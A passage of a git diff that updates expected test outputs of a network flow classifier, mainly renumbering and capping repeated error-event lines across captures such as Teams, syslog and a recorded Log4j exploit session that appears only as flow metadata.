is smaller than expected packet size [10/16] + ERROR-EVENT: Captured packet size is smaller than expected packet size [11/16] + ERROR-EVENT: Captured packet size is smaller than expected packet size [12/16] + ERROR-EVENT: Captured packet size is smaller than expected packet size [13/16] idle: [.....1] [ip4][..udp] [.132.190.244.12][.2152] -> [.151.121.185.44][.2152] [GTP.GTP_U][Network][Acceptable] DAEMON-EVENT: shutdown diff --git a/test/results/flow-info/log4j-webapp-exploit.pcap.out b/test/results/flow-info/log4j-webapp-exploit.pcap.out index ed0efa625..568d6888b 100644 --- a/test/results/flow-info/log4j-webapp-exploit.pcap.out +++ b/test/results/flow-info/log4j-webapp-exploit.pcap.out @@ -4,8 +4,8 @@ new: [.....1] [ip4][..tcp] [...172.16.238.1][.1984] -> [..172.16.238.10][.8080] detected: [.....1] [ip4][..tcp] [...172.16.238.1][.1984] -> [..172.16.238.10][.8080] [HTTP][Web][Acceptable][192.168.13.31] RISK: Known Proto on Non Std Port, HTTP Numeric IP Address - ERROR-EVENT: Unknown L3 protocol - ERROR-EVENT: Unknown L3 protocol + ERROR-EVENT: Unknown L3 protocol [1/16] + ERROR-EVENT: Unknown L3 protocol [2/16] new: [.....2] [ip4][..tcp] [..172.16.238.10][57650] -> [..172.16.238.11][.1389] detected: [.....2] [ip4][..tcp] [..172.16.238.10][57650] -> [..172.16.238.11][.1389] [LDAP][System][Acceptable] RISK: Known Proto on Non Std Port @@ -15,8 +15,8 @@ detection-update: [.....3] [ip4][..tcp] [..172.16.238.10][48444] -> [..172.16.238.11][...80] [HTTP][Download][Acceptable][172.16.238.11] RISK: Binary App Transfer, HTTP Numeric IP Address new: [.....4] [ip4][..tcp] [..172.16.238.10][55408] -> [....10.10.10.31][.9001] - ERROR-EVENT: Unknown L3 protocol - ERROR-EVENT: Unknown L3 protocol + ERROR-EVENT: Unknown L3 protocol [3/16] + ERROR-EVENT: Unknown L3 protocol [4/16] analyse: [.....4] [ip4][..tcp] [..172.16.238.10][55408] -> [....10.10.10.31][.9001] min| max| avg| stddev| variance| entropy [IAT.........: 0.000| 7.289| 0.474| 1.790| 3202664.366| 1.100] diff --git a/test/results/flow-info/reasm_segv_anon.pcapng.out b/test/results/flow-info/reasm_segv_anon.pcapng.out index 84ceabd8a..0ab7da4e0 100644 --- a/test/results/flow-info/reasm_segv_anon.pcapng.out +++ b/test/results/flow-info/reasm_segv_anon.pcapng.out @@ -1,17 +1,17 @@ DAEMON-EVENT: init DAEMON-EVENT: [Processed: 0 pkts][ZLib][compressions: 0|diff: 0 / 0] DAEMON-EVENT: [Flows][active: 0 / 0|skipped: 0|!detected: 0|guessed: 0|detection-updates: 0|updates: 0] - ERROR-EVENT: Captured packet size is smaller than expected packet size + ERROR-EVENT: Captured packet size is smaller than expected packet size [1/16] new: [.....1] [ip4][..udp] [...145.76.2.236][.2152] -> [...187.96.52.85][.2152] detected: [.....1] [ip4][..udp] [...145.76.2.236][.2152] -> [...187.96.52.85][.2152] [GTP.GTP_U][Network][Acceptable] - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size + ERROR-EVENT: Captured packet size is smaller than expected packet size [2/16] + ERROR-EVENT: Captured packet size is smaller than expected packet size [3/16] + ERROR-EVENT: Captured packet size is smaller than expected packet size [4/16] + ERROR-EVENT: Captured packet size is smaller than expected packet size [5/16] + ERROR-EVENT: Captured packet size is smaller than expected packet size [6/16] + ERROR-EVENT: Captured packet size is smaller than expected packet size [7/16] + ERROR-EVENT: Captured packet size is smaller than expected packet size [8/16] + ERROR-EVENT: Captured packet size is smaller than expected packet size [9/16] analyse: [.....1] [ip4][..udp] [...145.76.2.236][.2152] -> [...187.96.52.85][.2152] [GTP.GTP_U][Network][Acceptable] min| max| avg| stddev| variance| entropy [IAT.........: 0.000| 1.859| 0.305| 0.564| 318078.976| 3.100] @@ -22,24 +22,12 @@ [IATS(ms)....: 396.0,83.8,1376.2,0.1,0.0,0.0,0.0,0.0,0.0,0.0,0.1,0.1,1859.1,964.9,439.7,439.7,0.1,0.0,0.0,0.0,0.0,0.1,163.9,20.1,1615.4,1799.0,0.1,0.0,155.8,155.6,0.1] [PKTLENS.....: 92,92,92,1476,1476,1476,1476,1476,1476,1476,1476,1476,1476,100,1476,100,1476,1476,1476,1476,1372,1476,1476,108,108,100,76,388,1164,100,76,388] [ENTROPIES...: 5.4,5.4,5.4,7.9,7.8,7.8,7.9,7.8,7.8,7.8,7.8,7.8,7.8,5.4,7.8,5.4,7.8,7.9,7.8,7.9,7.8,7.9,7.8,5.5,5.5,5.4,5.2,7.3,7.8,5.5,5.2,7.4] - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size + ERROR-EVENT: Captured packet size is smaller than expected packet size [10/16] + ERROR-EVENT: Captured packet size is smaller than expected packet size [11/16] + ERROR-EVENT: Captured packet size is smaller than expected packet size [12/16] + ERROR-EVENT: Captured packet size is smaller than expected packet size [13/16] + ERROR-EVENT: Captured packet size is smaller than expected packet size [14/16] + ERROR-EVENT: Captured packet size is smaller than expected packet size [15/16] + ERROR-EVENT: Captured packet size is smaller than expected packet size [16/16] idle: [.....1] [ip4][..udp] [...145.76.2.236][.2152] -> [...187.96.52.85][.2152] [GTP.GTP_U][Network][Acceptable] DAEMON-EVENT: shutdown diff --git a/test/results/flow-info/rsh-syslog-false-positive.pcap.out b/test/results/flow-info/rsh-syslog-false-positive.pcap.out index 99a34fff8..c72b57026 100644 --- a/test/results/flow-info/rsh-syslog-false-positive.pcap.out +++ b/test/results/flow-info/rsh-syslog-false-positive.pcap.out @@ -3,7 +3,7 @@ DAEMON-EVENT: [Flows][active: 0 / 0|skipped: 0|!detected: 0|guessed: 0|detection-updates: 0|updates: 0] new: [.....1] [ip4][..tcp] [..172.31.78.129][.9039] -> [..172.29.43.201][..514] [MIDSTREAM] detected: [.....1] [ip4][..tcp] [..172.31.78.129][.9039] -> [..172.29.43.201][..514] [Syslog][System][Acceptable] - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size + ERROR-EVENT: Captured packet size is smaller than expected packet size [1/16] + ERROR-EVENT: Captured packet size is smaller than expected packet size [2/16] idle: [.....1] [ip4][..tcp] [..172.31.78.129][.9039] -> [..172.29.43.201][..514] [Syslog][System][Acceptable] DAEMON-EVENT: shutdown diff --git a/test/results/flow-info/skype_no_unknown.pcap.out b/test/results/flow-info/skype_no_unknown.pcap.out index bd5e9adee..dc21f6e96 100644 --- a/test/results/flow-info/skype_no_unknown.pcap.out +++ b/test/results/flow-info/skype_no_unknown.pcap.out @@ -306,7 +306,7 @@ detected: [...144] [ip4][..udp] [...192.168.1.34][13021] -> [..157.55.56.161][40031] [Skype_Teams.Skype_TeamsCall][VoIP][Acceptable] new: [...145] [ip4][..udp] [...192.168.1.34][13021] -> [.157.55.235.148][40033] detected: [...145] [ip4][..udp] [...192.168.1.34][13021] -> [.157.55.235.148][40033] [Skype_Teams.Skype_TeamsCall][VoIP][Acceptable] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] new: [...146] [ip4][..tcp] [...192.168.1.34][51255] -> [.157.55.130.142][40005] new: [...147] [ip4][..tcp] [...192.168.1.34][51256] -> [.111.221.77.142][40013] new: [...148] [ip4][..tcp] [...192.168.1.34][51257] -> [.157.55.235.170][40032] diff --git a/test/results/flow-info/someip_sd_sample.pcap.out b/test/results/flow-info/someip_sd_sample.pcap.out index 0b882fb92..21476aadc 100644 --- a/test/results/flow-info/someip_sd_sample.pcap.out +++ b/test/results/flow-info/someip_sd_sample.pcap.out @@ -1,10 +1,10 @@ DAEMON-EVENT: init DAEMON-EVENT: [Processed: 0 pkts][ZLib][compressions: 0|diff: 0 / 0] DAEMON-EVENT: [Flows][active: 0 / 0|skipped: 0|!detected: 0|guessed: 0|detection-updates: 0|updates: 0] - ERROR-EVENT: Unknown datalink layer packet - ERROR-EVENT: Unknown datalink layer packet - ERROR-EVENT: Unknown datalink layer packet - ERROR-EVENT: Unknown datalink layer packet - ERROR-EVENT: Unknown datalink layer packet - ERROR-EVENT: Unknown datalink layer packet + ERROR-EVENT: Unknown datalink layer packet [1/16] + ERROR-EVENT: Unknown datalink layer packet [2/16] + ERROR-EVENT: Unknown datalink layer packet [3/16] + ERROR-EVENT: Unknown datalink layer packet [4/16] + ERROR-EVENT: Unknown datalink layer packet [5/16] + ERROR-EVENT: Unknown datalink layer packet [6/16] DAEMON-EVENT: shutdown diff --git a/test/results/flow-info/starcraft_battle.pcap.out b/test/results/flow-info/starcraft_battle.pcap.out index 63d2f65db..b33e7f8c9 100644 --- a/test/results/flow-info/starcraft_battle.pcap.out +++ b/test/results/flow-info/starcraft_battle.pcap.out @@ -26,7 +26,7 @@ detection-update: [.....9] [ip4][..udp] [..192.168.1.100][58851] -> [..192.168.1.254][...53] [DNS][Network][Acceptable][110.212.58.216.in-addr.arpa] new: [....10] [ip4][..tcp] [..192.168.1.100][.3427] -> [.80.239.208.193][.1119] [MIDSTREAM] new: [....11] [ip4][..tcp] [..192.168.1.100][.2759] -> [.64.233.184.188][.5228] [MIDSTREAM] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] new: [....12] [ip4][..udp] [..192.168.1.254][38605] -> [239.255.255.250][.1900] detected: [....12] [ip4][..udp] [..192.168.1.254][38605] -> [239.255.255.250][.1900] [SSDP][System][Acceptable][239.255.255.250:1900] new: [....13] [ip4][..tcp] [..192.168.1.100][.3506] -> [173.194.113.224][...80] diff --git a/test/results/flow-info/syslog.pcap.out b/test/results/flow-info/syslog.pcap.out index 2395cb8a0..076457ad4 100644 --- a/test/results/flow-info/syslog.pcap.out +++ b/test/results/flow-info/syslog.pcap.out @@ -1,6 +1,6 @@ DAEMON-EVENT: init - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] + ERROR-EVENT: Unknown packet type [2/16] DAEMON-EVENT: [Processed: 0 pkts][ZLib][compressions: 0|diff: 0 / 0] DAEMON-EVENT: [Flows][active: 0 / 0|skipped: 0|!detected: 0|guessed: 0|detection-updates: 0|updates: 0] new: [.....1] [ip4][..udp] [...172.20.51.54][..514] -> [..172.31.110.40][..514] @@ -81,10 +81,10 @@ RISK: Known Proto on Non Std Port DAEMON-EVENT: [Processed: 82 pkts][ZLib][compressions: 0|diff: 0 / 0] DAEMON-EVENT: [Flows][active: 1 / 17|skipped: 0|!detected: 2|guessed: 0|detection-updates: 0|updates: 10] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] + ERROR-EVENT: Unknown packet type [2/16] + ERROR-EVENT: Unknown packet type [3/16] + ERROR-EVENT: Unknown packet type [4/16] DAEMON-EVENT: [Processed: 82 pkts][ZLib][compressions: 0|diff: 0 / 0] DAEMON-EVENT: [Flows][active: 1 / 17|skipped: 0|!detected: 2|guessed: 0|detection-updates: 0|updates: 10] new: [....18] [ip4][..udp] [...10.94.232.21][57374] -> [...10.94.150.21][..514] diff --git a/test/results/flow-info/teams.pcap.out b/test/results/flow-info/teams.pcap.out index 9642cd25f..ebbf80caf 100644 --- a/test/results/flow-info/teams.pcap.out +++ b/test/results/flow-info/teams.pcap.out @@ -3,13 +3,13 @@ DAEMON-EVENT: [Flows][active: 0 / 0|skipped: 0|!detected: 0|guessed: 0|detection-updates: 0|updates: 0] new: [.....1] [ip4][..udp] [....192.168.0.1][...68] -> [255.255.255.255][...67] detected: [.....1] [ip4][..udp] [....192.168.0.1][...68] -> [255.255.255.255][...67] [DHCP][Network][Acceptable][tl-sg116e] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] new: [.....2] [ip4][..tcp] [....192.168.1.6][58533] -> [.149.154.167.91][..443] [MIDSTREAM] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [2/16] + ERROR-EVENT: Unknown packet type [3/16] + ERROR-EVENT: Unknown packet type [4/16] + ERROR-EVENT: Unknown packet type [5/16] + ERROR-EVENT: Unknown packet type [6/16] new: [.....3] [ip4][..udp] [....192.168.1.6][60813] -> [....192.168.1.1][...53] detected: [.....3] [ip4][..udp] [....192.168.1.6][60813] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][skypedataprdcolneu04.cloudapp.net] detection-update: [.....3] [ip4][..udp] [....192.168.1.6][60813] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][skypedataprdcolneu04.cloudapp.net] @@ -32,7 +32,7 @@ detection-update: [.....5] [ip4][..tcp] [....192.168.1.6][60533] -> [.52.113.194.132][..443] [TLS.Teams][Collaborative][Safe][teams.microsoft.com] detection-update: [.....4] [ip4][..tcp] [....192.168.1.6][60532] -> [...52.114.77.33][..443] [TLS.Microsoft][Cloud][Safe][mobile.pipe.aria.microsoft.com] RISK: TLS (probably) Not Carrying HTTPS - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [7/16] new: [.....6] [ip4][..tcp] [....192.168.1.6][60534] -> [.....40.126.9.5][..443] detected: [.....6] [ip4][..tcp] [....192.168.1.6][60534] -> [.....40.126.9.5][..443] [TLS.Microsoft365][Collaborative][Acceptable][login.microsoftonline.com] detection-update: [.....6] [ip4][..tcp] [....192.168.1.6][60534] -> [.....40.126.9.5][..443] [TLS.Microsoft365][Collaborative][Acceptable][login.microsoftonline.com] @@ -75,33 +75,33 @@ [PKTLENS.....: 64,52,40,254,46,1492,1492,40,1492,40,1492,257,40,198,46,133,366,109,40,40,78,1480,1047,124,46,78,40,46,46,46,1492,1055] [ENTROPIES...: 4.4,4.9,4.6,5.5,4.5,7.3,7.4,4.7,7.5,4.6,7.6,7.1,4.7,6.5,4.5,6.1,7.2,5.9,4.7,4.6,5.1,7.9,7.8,6.1,4.5,5.4,4.6,4.6,4.6,4.5,7.8,7.8] detection-update: [.....8] [ip4][..tcp] [....192.168.1.6][60536] -> [.52.113.194.132][..443] [TLS.Teams][Collaborative][Safe][teams.microsoft.com] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [8/16] + ERROR-EVENT: Unknown packet type [9/16] new: [.....9] [ip4][..tcp] [....192.168.1.6][60537] -> [...52.114.77.33][..443] detected: [.....9] [ip4][..tcp] [....192.168.1.6][60537] -> [...52.114.77.33][..443] [TLS.Microsoft][Cloud][Safe][mobile.pipe.aria.microsoft.com] RISK: TLS (probably) Not Carrying HTTPS detection-update: [.....9] [ip4][..tcp] [....192.168.1.6][60537] -> [...52.114.77.33][..443] [TLS.Microsoft][Cloud][Safe][mobile.pipe.aria.microsoft.com] RISK: TLS (probably) Not Carrying HTTPS - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [10/16] new: [....10] [ip4][..udp] [....192.168.1.6][64046] -> [....192.168.1.1][...53] detected: [....10] [ip4][..udp] [....192.168.1.6][64046] -> [....192.168.1.1][...53] [DNS.ntop][Network][Safe][b._dns-sd._udp.ntop.org] new: [....11] [ip4][..udp] [....192.168.1.6][17500] -> [255.255.255.255][17500] detected: [....11] [ip4][..udp] [....192.168.1.6][17500] -> [255.255.255.255][17500] [Dropbox][Cloud][Acceptable] new: [....12] [ip4][..udp] [....192.168.1.6][17500] -> [..192.168.1.255][17500] detected: [....12] [ip4][..udp] [....192.168.1.6][17500] -> [..192.168.1.255][17500] [Dropbox][Cloud][Acceptable] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [11/16] + ERROR-EVENT: Unknown packet type [12/16] detection-update: [....10] [ip4][..udp] [....192.168.1.6][64046] -> [....192.168.1.1][...53] [DNS.ntop][Network][Safe][b._dns-sd._udp.ntop.org] new: [....13] [ip4][..udp] [........0.0.0.0][...68] -> [255.255.255.255][...67] detected: [....13] [ip4][..udp] [........0.0.0.0][...68] -> [255.255.255.255][...67] [DHCP][Network][Acceptable][] new: [....14] [ip4][..tcp] [..93.62.150.157][..443] -> [....192.168.1.6][60512] [MIDSTREAM] detected: [....14] [ip4][..tcp] [..93.62.150.157][..443] -> [....192.168.1.6][60512] [TLS][Web][Safe] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [13/16] new: [....15] [ip4][..udp] [....192.168.1.6][56634] -> [....192.168.1.1][...53] detected: [....15] [ip4][..udp] [....192.168.1.6][56634] -> [....192.168.1.1][...53] [DNS][ConnCheck][Acceptable][captive.apple.com.edgekey.net] detection-update: [....15] [ip4][..udp] [....192.168.1.6][56634] -> [....192.168.1.1][...53] [DNS][ConnCheck][Acceptable][captive.apple.com.edgekey.net] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [14/16] + ERROR-EVENT: Unknown packet type [15/16] new: [....16] [ip4][..udp] [....192.168.1.6][51033] -> [....192.168.1.1][...53] detected: [....16] [ip4][..udp] [....192.168.1.6][51033] -> [....192.168.1.1][...53] [DNS.Teams][VoIP][Safe][eu-api.asm.skype.com] new: [....17] [ip4][..udp] [....192.168.1.6][63106] -> [....192.168.1.1][...53] @@ -137,7 +137,7 @@ detection-update: [....26] [ip4][..tcp] [....192.168.1.6][60544] -> [...52.114.76.48][..443] [TLS.Teams][Collaborative][Safe][northeurope.notifications.teams.microsoft.com] detection-update: [....25] [ip4][..tcp] [....192.168.1.6][60543] -> [...52.114.77.33][..443] [TLS.Microsoft][Cloud][Safe][mobile.pipe.aria.microsoft.com] RISK: TLS (probably) Not Carrying HTTPS - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [16/16] new: [....27] [ip4][..udp] [....192.168.1.6][57530] -> [....192.168.1.1][...53] detected: [....27] [ip4][..udp] [....192.168.1.6][57530] -> [....192.168.1.1][...53] [DNS.Microsoft][Web][Safe][presence.services.sfb.trafficmanager.net] detection-update: [....27] [ip4][..udp] [....192.168.1.6][57530] -> [....192.168.1.1][...53] [DNS.Microsoft][Web][Safe][presence.services.sfb.trafficmanager.net] @@ -181,7 +181,6 @@ new: [....33] [ip4][..tcp] [....192.168.1.6][60548] -> [...52.114.77.33][..443] detected: [....33] [ip4][..tcp] [....192.168.1.6][60548] -> [...52.114.77.33][..443] [TLS.Microsoft][Cloud][Safe][mobile.pipe.aria.microsoft.com] RISK: TLS (probably) Not Carrying HTTPS - ERROR-EVENT: Unknown packet type detection-update: [....33] [ip4][..tcp] [....192.168.1.6][60548] -> [...52.114.77.33][..443] [TLS.Microsoft][Cloud][Safe][mobile.pipe.aria.microsoft.com] RISK: TLS (probably) Not Carrying HTTPS analyse: [....32] [ip4][..tcp] [....192.168.1.6][60547] -> [...52.114.88.59][..443] [TLS.Teams][Collaborative][Safe] @@ -194,7 +193,6 @@ [IATS(ms)....: 34.2,34.3,0.3,36.9,0.0,36.6,0.0,0.2,0.2,0.1,0.0,0.1,1.0,12.0,0.3,36.0,22.7,0.2,0.2,0.1,10.4,10.3,0.6,0.6,77.1,91.7,0.0,49.1,80.4,115.1,0.2] [PKTLENS.....: 64,60,52,273,1492,1492,64,52,1492,52,1492,302,52,178,145,533,103,52,121,52,90,90,52,414,52,52,1480,247,52,227,52,1139] [ENTROPIES...: 4.3,5.1,4.7,5.5,7.4,7.3,4.8,4.8,7.5,4.7,7.6,7.4,4.8,6.3,6.2,7.5,5.6,4.9,6.0,4.9,5.4,5.5,4.8,7.4,4.9,5.1,7.8,7.0,5.0,6.8,4.7,7.8] - ERROR-EVENT: Unknown packet type new: [....34] [ip4][..udp] [....192.168.1.6][59403] -> [....192.168.1.1][...53] detected: [....34] [ip4][..udp] [....192.168.1.6][59403] -> [....192.168.1.1][...53] [DNS.Microsoft365][Collaborative][Acceptable][substrate.office.com] detection-update: [....34] [ip4][..udp] [....192.168.1.6][59403] -> [....192.168.1.1][...53] [DNS.Microsoft365][Collaborative][Acceptable][substrate.office.com] @@ -212,7 +210,6 @@ [PKTLENS.....: 64,52,40,257,46,1492,1492,40,1492,40,1492,181,40,198,46,366,109,40,40,133,78,561,46,78,40,46,46,440,40,342,46,345] [ENTROPIES...: 4.4,5.0,4.6,5.5,4.5,7.3,7.5,4.6,7.5,4.6,7.7,6.8,4.7,6.5,4.5,7.2,6.0,4.6,4.6,6.2,5.2,7.6,4.4,5.4,4.6,4.5,4.5,7.5,4.7,7.2,4.5,7.3] detection-update: [....23] [ip4][..tcp] [....192.168.1.6][60542] -> [.52.113.194.132][..443] [TLS.Teams][Collaborative][Safe][config.teams.microsoft.com] - ERROR-EVENT: Unknown packet type analyse: [....35] [ip4][..tcp] [....192.168.1.6][60549] -> [...13.107.18.11][..443] min| max| avg| stddev| variance| entropy [IAT.........: 0.000| 0.540| 0.024| 0.095| 8949.939| 1.900] @@ -264,7 +261,6 @@ RISK: TLS (probably) Not Carrying HTTPS detection-update: [....45] [ip4][..tcp] [....192.168.1.6][60555] -> [...52.114.77.33][..443] [TLS.Microsoft][Cloud][Safe][mobile.pipe.aria.microsoft.com] RISK: TLS (probably) Not Carrying HTTPS - ERROR-EVENT: Unknown packet type detection-update: [....40] [ip4][..tcp] [....192.168.1.6][60551] -> [...52.114.15.45][..443] [TLS.Teams][Collaborative][Safe][trouter2-asse-a.trouter.teams.microsoft.com] RISK: TLS (probably) Not Carrying HTTPS analyse: [....43] [ip4][..tcp] [....192.168.1.6][60554] -> [.52.113.194.132][..443] @@ -279,7 +275,6 @@ [ENTROPIES...: 4.4,4.9,4.5,5.5,4.4,7.3,7.5,4.6,7.5,4.5,7.7,6.7,4.6,6.5,4.5,5.7,4.5,5.6,4.6,7.8,4.6,7.9,7.9,4.6,7.9,4.6,7.9,7.9,4.6,4.5,7.9,7.9] detection-update: [....43] [ip4][..tcp] [....192.168.1.6][60554] -> [.52.113.194.132][..443] [TLS.Teams][Collaborative][Safe][config.teams.microsoft.com] RISK: TLS (probably) Not Carrying HTTPS - ERROR-EVENT: Unknown packet type new: [....47] [ip4][..tcp] [....192.168.1.6][60557] -> [.52.113.194.132][..443] detected: [....47] [ip4][..tcp] [....192.168.1.6][60557] -> [.52.113.194.132][..443] [TLS.Teams][Collaborative][Safe][teams.microsoft.com] RISK: TLS (probably) Not Carrying HTTPS @@ -300,7 +295,6 @@ [IATS(ms)....: 48.6,48.7,0.3,51.0,0.1,50.7,0.0,0.3,0.3,1.7,49.8,48.1,1.4,0.0,0.0,50.5,49.1,0.0,0.0,0.0,37.2,37.2,0.0,11.5,11.5,1.0,36.0,16.0,53.0,0.7,0.1] [PKTLENS.....: 64,60,52,258,1492,1492,64,52,1375,52,145,103,52,1480,1480,1480,52,1480,1480,1480,1480,52,1480,1480,52,985,52,52,497,52,83,52] [ENTROPIES...: 4.4,5.3,4.9,6.0,7.3,7.3,5.1,4.9,7.6,5.0,5.9,5.7,5.0,7.9,7.9,7.9,5.1,7.9,7.9,7.9,7.9,5.2,7.8,7.9,5.1,7.8,5.1,5.2,7.6,5.1,5.3,5.0] - ERROR-EVENT: Unknown packet type new: [....49] [ip4][..udp] [..192.168.1.112][57621] -> [..192.168.1.255][57621] detected: [....49] [ip4][..udp] [..192.168.1.112][57621] -> [..192.168.1.255][57621] [Spotify][Music][Acceptable] new: [....50] [ip4][..tcp] [....192.168.1.6][60560] -> [....40.126.9.67][..443] @@ -311,13 +305,11 @@ RISK: TLS (probably) Not Carrying HTTPS new: [....52] [ip4][..udp] [....192.168.1.6][54069] -> [....192.168.1.1][...53] detected: [....52] [ip4][..udp] [....192.168.1.6][54069] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][api.microsoftstream.com] - ERROR-EVENT: Unknown packet type detection-update: [....52] [ip4][..udp] [....192.168.1.6][54069] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][api.microsoftstream.com] new: [....53] [ip4][..tcp] [....192.168.1.6][60562] -> [.104.40.187.151][..443] detected: [....53] [ip4][..tcp] [....192.168.1.6][60562] -> [.104.40.187.151][..443] [TLS.Azure][Cloud][Acceptable][api.microsoftstream.com] detection-update: [....51] [ip4][..tcp] [....192.168.1.6][60561] -> [...52.114.77.33][..443] [TLS.Microsoft][Cloud][Safe][mobile.pipe.aria.microsoft.com] RISK: TLS (probably) Not Carrying HTTPS - ERROR-EVENT: Unknown packet type analyse: [....53] [ip4][..tcp] [....192.168.1.6][60562] -> [.104.40.187.151][..443] [TLS.Azure][Cloud][Acceptable] min| max| avg| stddev| variance| entropy [IAT.........: 0.000| 0.126| 0.019| 0.032| 1006.354| 3.400] @@ -345,10 +337,6 @@ detection-update: [....51] [ip4][..tcp] [....192.168.1.6][60561] -> [...52.114.77.33][..443] [TLS.Microsoft][Cloud][Safe][mobile.pipe.aria.microsoft.com] RISK: TLS (probably) Not Carrying HTTPS detected: [....55] [ip4][..tcp] [....192.168.1.6][60563] -> [.52.169.186.119][..443] [TLS.Azure][Cloud][Acceptable][euno-1.api.microsoftstream.com] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type new: [....56] [ip4][..udp] [....192.168.1.6][63930] -> [....192.168.1.1][...53] detected: [....56] [ip4][..udp] [....192.168.1.6][63930] -> [....192.168.1.1][...53] [DNS.Microsoft][Cloud][Safe][dc.applicationinsights.microsoft.com] detection-update: [....56] [ip4][..udp] [....192.168.1.6][63930] -> [....192.168.1.1][...53] [DNS.Microsoft][Cloud][Safe][dc.applicationinsights.microsoft.com] @@ -361,7 +349,6 @@ new: [....59] [ip4][..tcp] [....192.168.1.6][60565] -> [...52.114.108.8][..443] detected: [....59] [ip4][..tcp] [....192.168.1.6][60565] -> [...52.114.108.8][..443] [TLS.Teams][Collaborative][Safe][emea.ng.msg.teams.microsoft.com] detection-update: [....59] [ip4][..tcp] [....192.168.1.6][60565] -> [...52.114.108.8][..443] [TLS.Teams][Collaborative][Safe][emea.ng.msg.teams.microsoft.com] - ERROR-EVENT: Unknown packet type analyse: [....59] [ip4][..tcp] [....192.168.1.6][60565] -> [...52.114.108.8][..443] [TLS.Teams][Collaborative][Safe] min| max| avg| stddev| variance| entropy [IAT.........: 0.000| 0.277| 0.019| 0.049| 2449.644| 2.900] @@ -372,7 +359,6 @@ [IATS(ms)....: 19.2,19.3,0.2,22.0,0.0,21.8,0.0,0.2,0.2,0.2,0.0,0.2,1.1,12.3,0.3,19.9,0.0,6.3,0.0,0.6,12.0,11.4,1.5,1.4,55.0,62.1,0.0,25.5,0.0,18.4,276.9] [PKTLENS.....: 64,60,52,274,1492,1492,64,52,1492,52,1492,471,52,178,145,525,103,121,52,52,90,90,52,511,52,52,1046,134,52,94,52,1335] [ENTROPIES...: 4.4,5.3,4.9,5.6,7.1,7.3,5.0,5.0,7.5,4.9,7.6,7.5,4.9,6.3,6.3,7.6,5.6,5.9,5.0,4.9,5.4,5.7,5.0,7.5,5.0,5.2,7.8,6.2,5.2,5.6,5.0,7.8] - ERROR-EVENT: Unknown packet type analyse: [....26] [ip4][..tcp] [....192.168.1.6][60544] -> [...52.114.76.48][..443] [TLS.Teams][Collaborative][Safe] min| max| avg| stddev| variance| entropy [IAT.........: 0.000| 8.978| 0.329| 1.582| 2503841.415| 0.800] @@ -384,13 +370,11 @@ [PKTLENS.....: 64,52,40,276,1492,1492,52,40,40,1492,1492,309,40,40,198,133,568,91,40,109,40,78,46,409,40,46,1100,46,411,415,86,78] [ENTROPIES...: 4.3,4.9,4.6,5.6,7.4,7.3,4.7,4.6,4.6,7.5,7.6,7.1,4.7,4.6,6.5,6.1,7.6,5.4,4.6,5.9,4.6,5.2,4.5,7.4,4.7,4.5,7.8,4.6,7.4,7.5,5.6,5.5] new: [....60] [ip4][..tcp] [..151.11.50.139][.2222] -> [....192.168.1.6][54750] [MIDSTREAM] - ERROR-EVENT: Unknown packet type new: [....61] [ip4][..tcp] [....192.168.1.6][60566] -> [.167.99.215.164][.4434] detected: [....61] [ip4][..tcp] [....192.168.1.6][60566] -> [.167.99.215.164][.4434] [TLS.ntop][Network][Safe][dati.ntop.org] RISK: Known Proto on Non Std Port detection-update: [....61] [ip4][..tcp] [....192.168.1.6][60566] -> [.167.99.215.164][.4434] [TLS.ntop][Network][Safe][dati.ntop.org] RISK: Known Proto on Non Std 